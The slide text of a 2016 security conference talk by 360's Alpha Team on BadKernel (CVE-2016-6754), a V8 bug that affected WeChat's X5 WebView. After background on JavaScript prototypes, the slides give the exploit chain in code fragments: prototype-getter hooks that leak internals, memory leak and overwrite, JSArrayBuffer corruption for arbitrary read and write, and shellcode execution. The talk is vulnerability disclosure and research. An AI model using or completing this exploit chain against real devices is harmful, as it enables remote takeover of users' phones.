



SyScan + 360
I HACK THEREFORE I AM

国际前瞻信息安全会议
INFORMATION SECURITY CONFERENCE
2016.II · SHANGHAI



BadKernel ---

一个笔误引发的漏洞

龚广(@oldflesher)


邓袁(@scdeny)



团队简介



- Alpha Team @ 360手机卫士
- 累计获得**13**次谷歌致谢
- 累计帮助谷歌发现**28**个漏洞
- 累计**4**次黑客大赛单项冠军
 - Pwn2Own 2015 Mobile
 - Pwn2Own 2016
 - Pwn0Rama 2016
 - PwnFest 2016



360 ALPHA



内容简介



- 背景介绍
- JavaScript原型
- BadKernel漏洞利用





V8 JavaScript引擎

• 谷歌开源 JavaScript 引擎

- Chromium 工程
- 2008年9月2日发布第一个版本
- 高性能



• 浏览器

- Chrome, 安卓Webview, Opera, Chromium, QQ 浏览器, UC 浏览器

• 安卓应用


- Twitter, Facebook, Gmail, 微信, 支付宝, 手机QQ, 京东




安卓Webview漏洞



- 共统计约22万台设备



- < Chrome 37: 81%
- Chrome 53: 仅38台





- 91% 的设备存在漏洞
- 74% 的设备存在4个漏洞



BadKernel CVE-2016-6754



- V8 3.20 - 4.2
- 每 16 台就有1台受影响



X5内核：基于V8 3.27.34.21

数亿用户受影响

微信受BadKernel1影响



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• 微信V8组件


- TBS X5
- V8 3.27.34.21

• 攻击方式

- 二维码
- 恶意URL

• 漏洞危害

- 用户隐私泄露，如通讯录、聊天记录等
- 用户财产损失，如钱包、银行卡等
- 远程控制手机，如蠕虫式传播



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对象属性



- 对象定义

```
var obj = {}
```

- 值属性

```
obj.x = 3;
```

```
obj.f = function(){};
```

```
obj.f();
```

- 访问器属性

```
obj.__defineGetter__("y", function(){ return 9 });
```

```
obj.y === 9
```

```
DebugPrint: 0x40015515: [JSObject]
  - map = 0x5f310f55 [FAST_HOLEY_ELEMENTS]
  - prototype = 0x5fc6bdf1
  {
    #x: 3 (data field at offset 0)
    #f: 0x2760dd35 <JS Function obj.f ...> (data constant)
    #y: 0x276128cd <AccessorPair> (accessor constant)
  }

Smi:          [31 bit signed int] 0
HeapObject:   [32 bit direct pointer] (4 byte aligned)|01
```



基于类的面向对象



```
class Base{
    public:
        void setValue(int x){
            value = x;
        }
    protected:
        int value;
};
class Derived: public Base{
    public:
        int getValue(){
            return value;
        }
};
int main(void){
    Derived *p = new Derived;
    p->setValue(100);
    cout << "Value is: " << p->getValue() << endl;
    delete p;
    return 0;
}
```

声明基类Base

声明继承类Derived

创建对象p



基于原型的面向对象



创建原型对象Base

```
var Base={  
  value:0,  
  setValue:function(){  
    this.value = 100;  
  }  
}  
function Derived(){  
  this.getValue = function(){  
    return this.value;  
  }  
}  
Derived.prototype = Base;  
Derived d = new Derived;  
d.setValue(100);  
console.log(d.getValue());
```

声明构造器函数


创建对象d




对象原型



```
var a=1
undefined
a.__proto__
► Number {[[PrimitiveValue]]: 0}
a.__proto__.__proto__
► Object {}
a.__proto__.__proto__.__proto__
null
```



函数原型



```
var a=new Array()
```

```
undefined
```

```
a.__proto__
```

```
▶ []
```

```
a.__proto__.__proto__
```

```
▶ Object {}
```

```
a.__proto__.__proto__.__proto__
```

```
null
```

```
code] }
```



可修改的原型



```
var array = [];  
array.push(1);  
array
```

► [1]

Object.getOwnPropertyDescriptor(array.__proto__, "push")

► Object {writable: true, enumerable: false, configurable: true}

```
var array = [];  
array.__proto__.push = function(){console.log("no push")};  
array.push(1);  
console.log(array);
```

no push

► []





Runtime函数

- Native JavaScript

<https://cs.chromium.org/chromium/src/v8/src/js/>

- 从native javascript中可以直接调用C/C++函数

<https://cs.chromium.org/chromium/src/v8/src/runtime/>

`%GetPrototype({})`

`%DebugPrint({})`

`%SystemBreak()`

`%DisassembleFunction(function(){})`

`%OptimizeFunctionOnNextCall`

```
// CVE-2014-7928.js
// Flags: --allow-natives-syntax -
function test(x) { [x,,]; }
test(0);
test(0);
%OptimizeFunctionOnNextCall(test);
test(0);
```



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漏洞成因




- kMessages定义

```
var kMessages = {  
    observe_invalid_accept:  
        ["Third argument to Object.observe must be an array of strings."],  
    ...  
}
```

- 笔误

```
var format = Messages["observe_accept_invalid"];    undefined
```



如何利用?



- 2013.5 引入
- 2015.3 修复
 - 作为一个普通bug
- 2016.8 成功利用

Issue [1005553003](#): Fix error message for Object.observe accept argument (Closed)

Can't Edit
Can't Publish+Mail
[Start Review](#)

Created:
1 year, 8 months ago by [adamk_ooo until nov 28](#)

Modified:
1 year, 8 months ago

Reviewers:
[caitp \(gmail\)](#), [arv \(Not doing code reviews\)](#)

CC:
v8-dev

Base URL:
<https://chromium.googlesource.com/v8/v8.git@master>

Target Ref:
refs/pending/heads/master

Project:
[v8](#)

▼ **Description**

Fix error message for Object.observe accept argument

BUG=[chromium:464695](#)
LOG=n

Committed: <https://crrev.com/0c305e0b1be7ab2fb00a8d10572ec1222e4c0c35>
Cr-Commit-Position: refs/heads/master@{#27171}

► **Patch Set 1 : Reupload**

Total comments: 2

▼ **Patch Set 2 : Improve error message, simplify test**

Created: 1 year, 8 months ago

	Unified diffs	Side-by-side diffs	Delta from
► M	src/messages.js	View	1
M	src/object-observe.js	View	
M	test/mjsunit/es7/object-observe.js	View	1



泄漏kMessages



- `Object.observe(obj, callback [, acceptList])`
`["add", "update"]`

- 安装勾子

```
Object.prototype.__defineGetter__("observe_accept_invalid",  
    function(){ kMessages = this; } );
```

- 触发

```
Object.observe( {}, function(){} , 1 )  
var format = Messages["observe_accept_invalid"];
```

Object{}	
<i>observe_accept_invalid</i>	...



kMessages	
<i>observe_invalid_accept</i>	...
...	





Hook kMessages

• kMessages 定义

```
var kMessages = {
    strict_read_only_property: ["Cannot assign to read only property '", "%0", "' of ", "%1", ", ", "%3"
    object_not_extensible:    ["Can't add property ", "%0", ", object is not extensible"], }  "%3"
...
return FormatString( format, args);
```

• Hook kMessages

```
kMessages["strict_read_only_property"].push("%3");
kMessages["object_not_extensible"].push("%3");
Array.prototype.__defineGetter__( 3, function(){ args = this; })
```



泄漏私有符号



- PromiseSet(promise, status, value, **onResolve**, **onReject**)

promise[*promiseStatus*] = status;

promise[*promiseValue*] = value;

promise[*promiseOnResolve*] = **onResolve**; //InternalArray

promise[*promiseOnReject*] = **onReject**; //InternalArray

泄漏 **onResolve** 以进一步泄漏 InternalArray

promise	
<i>promiseStatus</i>	<i>status</i>
<i>promiseValue</i>	<i>value</i>
<i>promiseOnResolve</i>	<i>onResolve</i>
<i>promiseOnReject</i>	<i>onReject</i>



泄漏promiseStatus




- 泄漏promiseStatus

```
Array.prototype.__defineGetter__( 3, function(){ args = this; })
```

```
Object.freeze(p.promise);
```

```
promiseStatus = args[0];
```



- Throw NewTypeError("strict_read_only_property")

```
return FormatString(["...", "%0", " of ", "%1", "%3"], [ promiseStatus, promise ]);
```



泄漏promiseValue



- 泄漏promiseValue

```
Array.prototype.__defineGetter__( 3, function(){ args = this; })  
Object.freeze(this);  
promiseValue = args[0];
```



- Throw NewTypeError("object_not_extensible")

```
return FormatString(["...", "%0", "...", "%3"], [ promiseValue ]);
```



泄漏InternalArray



- 泄漏InternalArray

```
Array.prototype.__defineGetter__( 3 , function(){ args = this; })
```

```
Object.freeze(this);
```

```
promiseOnResolve = args[0];
```

```
onResolve=pro[promiseOnResolve];
```

```
InternalArray = Object.getPrototypeOf(onResolve);
```

promise	
promiseStatus	status
promiseValue	value

promiseOnResolve	onResolve
------------------	-----------

- Throw NewTypeError("object_not_extensible")

```
return FormatString(["...", "%0", "...", "%3"], [ promiseOnResolve ]);
```



泄漏内存



- encodeURI()

```
var array = new InternalArray(uriLength);  
var result = %NewString(array.length, NEW_ONE_BYTE_STRING);  
for (var i = 0; i < array.length; i++) {  
    %_OneByteSeqStringSetChar(i, array[i], result); //call getter  
}
```

- Hook InternalArray

```
Object.prototype.__defineGetter__.call(innerProto, 0, function(){ this.length=1; return 0x48 }
```

InternalArray



get 0: function(){ this.length=1; return 0x48 }

0x48



%NewString



覆盖内存




- encodeURI()

```
var array = new InternalArray(uriLength);  
var result = %NewString(array.length, NEW_ONE_BYTE_STRING);  
for (var i = 0; i < array.length; i++) {  
    %_OneByteSeqStringSetChar(i, array[i], result); //call getter  
}
```

- Hook InternalArray

```
Object.prototype.__defineGetter__.call(innerProto, 0, function(){  
    for(var i=0; i < overStr.length; i++){  
        this[ i + oldLength ] = overStr.charCodeAt(i);} } }
```



覆盖JSArrayBuffer



JSArrayBuffer A									Element		0	1	2	3	...	16
M	P	E	B	L	F		M	L						

M: pMap
P: pProperties
E: pElements
B: pBackingStore
L: ByteLength
F: Flag

JSArrayBuffer B							
M	P	E	B	L	F



Should leak **M**, **P**, **E**, address of JSArrayBuffer B

泄漏JSArrayBuffer



- 堆喷

ArrayBufferB
↓
Magic

a91f420d 89802027 75799308 102c4852 20000000 00000000 d9789308 9180703e 00000000 00000000 2181b007 22000000 ed7ed41c 80808000 80808000 80808000 a180703e ...
a91f420d 89802027 e9799308 202c4852 20000000 00000000 4d799308 9180703e 00000000 00000000 2181b007 22000000 ed7ed41c 80808000 80808000 80808000 a180703e ...
a91f420d 89802027 5d7a9308 302c4852 20000000 00000000 c1799308 9180703e 00000000 00000000 2181b007 22000000 ed7ed41c 80808000 80808000 80808000 a180703e ...

JSArrayBuffer								Element		0	1	2	3	...
M	P	E	B	L	F	M	L					



任意地址读写



- 用ArrayBuffer A 控制ArrayBuffer B

```
vA.setUint32(3*4, address, true);
```


```
vA.setUint32(4*4, length, true);
```

- 任意地址读

```
vB.getUint32(0, true);
```

- 任意地址写

```
vB.setUint32(0, written_value, true);
```



执行shellcode



- JSFunction

```
var huge_func = new Function('a', "eval('');");
```

JSFunction					
M	P	E	CodeEntry



- Call shellcode

```
huge_func();
```



演示



- 微信BadKernel远程代码执行演示

<http://video.weibo.com/player/1034:5bee6e775e81ad8b0486eaa519ea223b/v.swf>





Q & A





谢谢!

